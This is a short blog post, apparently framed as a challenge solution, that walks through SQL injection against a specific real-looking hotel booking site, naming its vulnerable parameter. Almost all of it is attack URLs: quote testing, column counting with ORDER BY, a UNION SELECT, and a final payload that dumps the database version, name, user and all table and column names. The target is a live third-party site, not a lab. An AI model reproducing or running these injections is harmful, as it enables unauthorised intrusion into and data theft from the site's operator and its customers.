SQLi-3 Solution
- Get link
- X
- Other Apps
My solution for {challenge -1}
Level :: normal
Site>> https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312
.................................................................................
https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312'
Some content of this site is mmissing when added (').
................................................................................
Let's Count The Number Of Colum.
https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' order by 100-- - ❌
https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' order by 1-- - ❌
Same result.
................................................................................
Ok we when add an (@) befor the parameter value, we can see some content of this site is change.
https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=@312' order by 100-- - ❌
https://www.direct-seychelles.com/.../hotels_FicheR...' order by 2-- - ✔
Column count is 2.
.............................................................................
https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' union select 1,2--+-
Done now you can inject your payload in column 1.
.............................................................................
https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' union select LPAD(concat(%27..Name%20::Smap-Xpo%27,0x203a3a20,0x2e,%27%3Cbr%3E%27,%27..Version%20::%20%27,version(),0x3c62723e,%27..Database%20::%20%27,database(),0x3c62723e,%27..User%20::%27,user(),0x2e,%27%3Cbr%3E%27,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_schema,0x203a20,table_name,0x203a20,column_name))))x)),10000,0x00),2--+-
- Get link
- X
- Other Apps
Comments
Post a Comment